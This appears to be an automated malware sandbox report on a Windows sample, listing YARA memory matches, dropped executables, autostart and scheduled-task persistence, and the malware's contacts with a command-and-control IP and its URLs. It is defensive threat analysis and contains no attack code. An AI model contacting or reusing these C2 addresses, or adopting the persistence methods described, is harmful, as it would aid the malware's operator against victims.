Source: Yara match File source: 00000025.00000002.2233092169.0000000002DEF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2185558862.00000000033E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.2173207701.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000021.00000002.2185833372.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2185558862.000000000341F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2043423134.0000000002A61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001C.00000002.2080688928.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000024.00000002.2186087124.000000000258F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000027.00000002.2295888940.0000000002E8F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000022.00000002.2189636764.00000000025A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.2175740771.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.2025245210.0000000012E8D000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: B9exXW7c3t.exe PID: 5880, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 4124, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ApplicationFrameHost.exe PID: 3808, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ApplicationFrameHost.exe PID: 5612, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 6304, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 5644, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 2796, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 1196, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 1084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RuntimeBroker.exe PID: 6648, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winlogon.exe PID: 7176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: winlogon.exe PID: 7208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: QeWHGGzCXwoQygZUiDI.exe PID: 7760, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ctfmon.exe PID: 8060, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1430334 Sample: B9exXW7c3t.exe Startdate: 23/04/2024 Architecture: WINDOWS Score: 100 38 Found malware configuration 2->38 40 Malicious sample detected (through community Yara rule) 2->40 42 Antivirus detection for URL or domain 2->42 44 16 other signatures 2->44 6 B9exXW7c3t.exe 10 28 2->6         started        10 ApplicationFrameHost.exe 2 2->10         started        12 RuntimeBroker.exe 2->12         started        14 10 other processes 2->14 process3 file4 26 C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe, PE32 6->26 dropped 28 C:\Users\user\...\QeWHGGzCXwoQygZUiDI.exe, PE32 6->28 dropped 30 C:\Users\Public\...\RuntimeBroker.exe, PE32 6->30 dropped 32 5 other malicious files 6->32 dropped 46 Creates an undocumented autostart registry key 6->46 48 Creates autostart registry keys with suspicious values (likely registry only malware) 6->48 50 Creates multiple autostart registry keys 6->50 58 4 other signatures 6->58 16 QeWHGGzCXwoQygZUiDI.exe 14 3 6->16         started        20 schtasks.exe 6->20         started        22 schtasks.exe 6->22         started        24 22 other processes 6->24 52 Antivirus detection for dropped file 10->52 54 Multi AV Scanner detection for dropped file 10->54 56 Machine Learning detection for dropped file 10->56 signatures5 process6 dnsIp7 34 82.146.61.164, 49705, 49706, 49714 THEFIRST-ASRU Russian Federation 16->34 36 Multi AV Scanner detection for dropped file 16->36 signatures8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
82.146.61.164
 unknown Russian Federation
29182 THEFIRST-ASRU true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&ZVSxTWRKIX4WAKi9eeqlLhfkTFe6=YMPLZX6E9wpNIWg true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&LysFYqMsinte=I6ADlK1LX&ca5T=9SGrVSUxhWH4wgrENNx0VJZ7p&JxuQodWZtQgCI6xIcrdPEoq9ONHdbz3=CXIhDQ true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?2Axq4KFgntH6pOhfkXM061hX=JBth00EchN&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&2Axq4KFgntH6pOhfkXM061hX=JBth00EchN true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&lAhnJNadMavr7iaE=ZXVZQ&3Y9JuvB=DFJyj5HlpMCmNsD&Q7JLvKfEUznPKEqsL7rmyu=I9xsJXo7KUS2wlzq2jFduS1bkfT true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&gcnWXuE9MUipBZc=bVK2py9yji&Y5YSB7xC1sNfAEv19t=v6 true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?md25=UA&vb=r948xSj667Ud7PLnWmgd&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&md25=UA&vb=r948xSj667Ud7PLnWmgd true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&4DpgykXUnYal=5pRDw8u&VEaEdbRUQLKbDAyInpMt9jQQ58K=tH6x0e true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/@=wWYj9GbwdHc0RHalJXdjV2U true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&Qwo2irmnoV=YhU7MQKNp5jw68qGmj2EO9Q&XsrVJW5pTKYX7gxvZm1Wq9s31l9E=QdZRbjejzETA4cwkSJGvHolI3 true
  • Avira URL Cloud: malware
 unknown
http://82.146.61.164/localUniversal/3Dumpprocessor/GameWordpresstrack6/eternal4/flower8Testdump/Longpolllongpoll/Securehttpwplocal.php?nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U&6b216a87848e812b8911d54c09e60b83=1a5c78d0b59f0e27da6ac915b871b18e&ba66ccabe5baf5dd4d2b1b6e621d0986=gNyUTMlZGOjF2MlNGOwADM3MmNzgDOwQGMlZ2NhlTO0IWOjRTN3czN&nTpz4tBkEffHSxvJX2feX5v=PFt&EW3lilo=8ZvGO6YDsWpwXo96D7U true
  • Avira URL Cloud: malware
 unknown